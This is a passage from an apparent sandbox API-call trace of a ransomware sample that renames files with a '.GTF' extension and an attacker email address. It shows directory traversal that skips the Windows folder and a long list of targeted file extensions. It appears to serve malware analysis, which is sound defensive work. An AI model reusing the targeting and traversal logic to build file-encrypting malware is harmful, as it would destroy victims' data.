	[0183.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0184.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0185.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 43
	os_tid = 0xe10

	[0152.750] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x39e0738
	[0152.750] lstrlenW (lpString="C:") returned 2
	[0152.750] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5ba2b0
	[0152.751] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0152.751] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0152.751] lstrlenW (lpString="$GetCurrent") returned 11
	[0152.751] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0152.751] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x39f0740
	[0152.751] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0152.751] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5ba730
	[0152.753] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0152.753] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5487e2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0152.753] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0152.754] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0152.754] lstrlenW (lpString="Logs") returned 4
	[0152.754] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0152.754] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3a00748
	[0152.754] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0152.754] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5487e2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName=".", cAlternateFileName="")) returned 0x5ba2f0
	[0152.757] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5487e2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.757] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b6fa542, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b6fa542, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b720eb8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xfffffaf6, dwReserved1=0x80a, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DOWNLE~1.GTF")) returned 1
	[0152.757] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 79
	[0152.757] lstrlenW (lpString=".1cd") returned 4
	[0152.757] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0152.757] lstrlenW (lpString=".3ds") returned 4
	[0152.757] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0152.757] lstrlenW (lpString=".3fr") returned 4
	[0152.757] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0152.757] lstrlenW (lpString=".3g2") returned 4
	[0152.757] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0152.757] lstrlenW (lpString=".3gp") returned 4
	[0152.757] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0152.757] lstrlenW (lpString=".7z") returned 3
	[0152.757] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0152.757] lstrlenW (lpString=".accda") returned 6
	[0152.757] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0152.757] lstrlenW (lpString=".accdb") returned 6
	[0152.757] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0152.757] lstrlenW (lpString=".accdc") returned 6
	[0152.757] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0152.757] lstrlenW (lpString=".accde") returned 6
	[0152.757] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0152.757] lstrlenW (lpString=".accdt") returned 6
	[0152.757] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0152.757] lstrlenW (lpString=".accdw") returned 6
	[0152.757] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0152.757] lstrlenW (lpString=".adb") returned 4
	[0152.757] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".adp") returned 4
	[0152.758] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".ai") returned 3
	[0152.758] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0152.758] lstrlenW (lpString=".ai3") returned 4
	[0152.758] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".ai4") returned 4
	[0152.758] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".ai5") returned 4
	[0152.758] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".ai6") returned 4
	[0152.758] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".ai7") returned 4
	[0152.758] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".ai8") returned 4
	[0152.758] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".anim") returned 5
	[0152.758] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0152.758] lstrlenW (lpString=".arw") returned 4
	[0152.758] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".as") returned 3
	[0152.758] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0152.758] lstrlenW (lpString=".asa") returned 4
	[0152.758] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".asc") returned 4
	[0152.758] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".ascx") returned 5
	[0152.758] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0152.758] lstrlenW (lpString=".asm") returned 4
	[0152.758] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".asmx") returned 5
	[0152.758] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0152.758] lstrlenW (lpString=".asp") returned 4
	[0152.758] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0152.758] lstrlenW (lpString=".aspx") returned 5
	[0152.758] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0152.758] lstrlenW (lpString=".asr") returned 4
	[0152.759] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".asx") returned 4
	[0152.759] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".avi") returned 4
	[0152.759] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".avs") returned 4
	[0152.759] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".backup") returned 7
	[0152.759] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0152.759] lstrlenW (lpString=".bak") returned 4
	[0152.759] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".bay") returned 4
	[0152.759] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".bd") returned 3
	[0152.759] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0152.759] lstrlenW (lpString=".bin") returned 4
	[0152.759] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".bmp") returned 4
	[0152.759] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".bz2") returned 4
	[0152.759] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".c") returned 2
	[0152.759] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0152.759] lstrlenW (lpString=".cdr") returned 4
	[0152.759] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".cer") returned 4
	[0152.759] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".cf") returned 3
	[0152.759] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0152.759] lstrlenW (lpString=".cfc") returned 4
	[0152.759] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".cfm") returned 4
	[0152.759] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".cfml") returned 5
	[0152.759] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0152.759] lstrlenW (lpString=".cfu") returned 4
	[0152.759] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0152.759] lstrlenW (lpString=".chm") returned 4
	[0152.760] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".cin") returned 4
	[0152.760] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".class") returned 6
	[0152.760] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0152.760] lstrlenW (lpString=".clx") returned 4
	[0152.760] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".config") returned 7
	[0152.760] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0152.760] lstrlenW (lpString=".cpp") returned 4
	[0152.760] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".cr2") returned 4
	[0152.760] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".crt") returned 4
	[0152.760] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".crw") returned 4
	[0152.760] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".cs") returned 3
	[0152.760] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0152.760] lstrlenW (lpString=".css") returned 4
	[0152.760] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".csv") returned 4
	[0152.760] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".cub") returned 4
	[0152.760] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".dae") returned 4
	[0152.760] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".dat") returned 4
	[0152.760] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".db") returned 3
	[0152.760] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0152.760] lstrlenW (lpString=".dbf") returned 4
	[0152.760] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".dbx") returned 4
	[0152.760] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".dc3") returned 4
	[0152.760] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0152.760] lstrlenW (lpString=".dcm") returned 4
	[0152.761] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".dcr") returned 4
	[0152.761] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".der") returned 4
	[0152.761] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".dib") returned 4
	[0152.761] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".dic") returned 4
	[0152.761] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".dif") returned 4
	[0152.761] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".divx") returned 5
	[0152.761] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0152.761] lstrlenW (lpString=".djvu") returned 5
	[0152.761] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0152.761] lstrlenW (lpString=".dng") returned 4
	[0152.761] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".doc") returned 4
	[0152.761] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".docm") returned 5
	[0152.761] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0152.761] lstrlenW (lpString=".docx") returned 5
	[0152.761] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0152.761] lstrlenW (lpString=".dot") returned 4
	[0152.761] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".dotm") returned 5
	[0152.761] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0152.761] lstrlenW (lpString=".dotx") returned 5
	[0152.761] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0152.761] lstrlenW (lpString=".dpx") returned 4
	[0152.761] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".dqy") returned 4
	[0152.761] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".dsn") returned 4
	[0152.761] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0152.761] lstrlenW (lpString=".dt") returned 3
	[0152.762] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0152.762] lstrlenW (lpString=".dtd") returned 4
	[0152.762] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".dwg") returned 4
	[0152.762] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".dwt") returned 4
	[0152.762] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".dx") returned 3
	[0152.762] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0152.762] lstrlenW (lpString=".dxf") returned 4
	[0152.762] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".edml") returned 5
	[0152.762] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0152.762] lstrlenW (lpString=".efd") returned 4
	[0152.762] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".elf") returned 4
	[0152.762] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".emf") returned 4
	[0152.762] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".emz") returned 4
	[0152.762] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".epf") returned 4
	[0152.762] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".eps") returned 4
	[0152.762] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".epsf") returned 5
	[0152.762] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0152.762] lstrlenW (lpString=".epsp") returned 5
	[0152.762] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0152.762] lstrlenW (lpString=".erf") returned 4
	[0152.762] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".exr") returned 4
	[0152.762] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".f4v") returned 4
	[0152.762] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0152.762] lstrlenW (lpString=".fido") returned 5
	[0152.762] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0152.763] lstrlenW (lpString=".flm") returned 4
	[0152.763] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0152.763] lstrlenW (lpString=".flv") returned 4
	[0152.763] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0152.763] lstrlenW (lpString=".frm") returned 4
	[0152.763] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0152.763] lstrlenW (lpString=".fxg") returned 4
	[0152.763] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0152.763] lstrlenW (lpString=".geo") returned 4
	[0152.763] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0152.763] lstrlenW (lpString=".gif") returned 4
	[0152.763] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0152.763] lstrlenW (lpString=".grs") returned 4
	[0152.763] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0152.763] lstrlenW (lpString=".gz") returned 3
	[0152.763] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0152.763] lstrlenW (lpString=".h") returned 2
	[0152.763] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0152.763] lstrlenW (lpString=".hdr") returned 4
	[0152.763] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0152.763] lstrlenW (lpString=".hpp") returned 4
	[0152.763] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0152.763] lstrlenW (lpString=".hta") returned 4
	[0152.763] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0152.763] lstrlenW (lpString=".htc") returned 4
	[0152.763] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0152.763] lstrlenW (lpString=".htm") returned 4
	[0152.763] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0152.763] lstrlenW (lpString=".html") returned 5
	[0152.763] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0152.763] lstrlenW (lpString=".icb") returned 4
	[0152.763] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0152.763] lstrlenW (lpString=".ics") returned 4
	[0152.763] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0152.763] lstrlenW (lpString=".iff") returned 4
	[0152.763] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0152.763] lstrlenW (lpString=".inc") returned 4
	[0152.763] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".indd") returned 5
	[0152.764] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0152.764] lstrlenW (lpString=".ini") returned 4
	[0152.764] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".iqy") returned 4
	[0152.764] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".j2c") returned 4
	[0152.764] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".j2k") returned 4
	[0152.764] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".java") returned 5
	[0152.764] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0152.764] lstrlenW (lpString=".jp2") returned 4
	[0152.764] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".jpc") returned 4
	[0152.764] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".jpe") returned 4
	[0152.764] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".jpeg") returned 5
	[0152.764] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0152.764] lstrlenW (lpString=".jpf") returned 4
	[0152.764] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".jpg") returned 4
	[0152.764] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".jpx") returned 4
	[0152.764] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".js") returned 3
	[0152.764] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0152.764] lstrlenW (lpString=".jsf") returned 4
	[0152.764] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".json") returned 5
	[0152.764] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0152.764] lstrlenW (lpString=".jsp") returned 4
	[0152.764] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".kdc") returned 4
	[0152.764] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0152.764] lstrlenW (lpString=".kmz") returned 4
	[0152.764] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".kwm") returned 4
	[0152.765] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".lasso") returned 6
	[0152.765] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0152.765] lstrlenW (lpString=".lbi") returned 4
	[0152.765] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".lgf") returned 4
	[0152.765] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".lgp") returned 4
	[0152.765] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".log") returned 4
	[0152.765] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".m1v") returned 4
	[0152.765] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".m4a") returned 4
	[0152.765] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".m4v") returned 4
	[0152.765] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".max") returned 4
	[0152.765] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".md") returned 3
	[0152.765] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0152.765] lstrlenW (lpString=".mda") returned 4
	[0152.765] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".mdb") returned 4
	[0152.765] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".mde") returned 4
	[0152.765] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".mdf") returned 4
	[0152.765] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".mdw") returned 4
	[0152.765] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".mef") returned 4
	[0152.765] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".mft") returned 4
	[0152.765] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".mfw") returned 4
	[0152.765] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0152.765] lstrlenW (lpString=".mht") returned 4
	[0152.766] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mhtml") returned 6
	[0152.766] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0152.766] lstrlenW (lpString=".mka") returned 4
	[0152.766] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mkidx") returned 6
	[0152.766] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0152.766] lstrlenW (lpString=".mkv") returned 4
	[0152.766] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0152.766] lstrlenW (lpString=".mos") returned 4
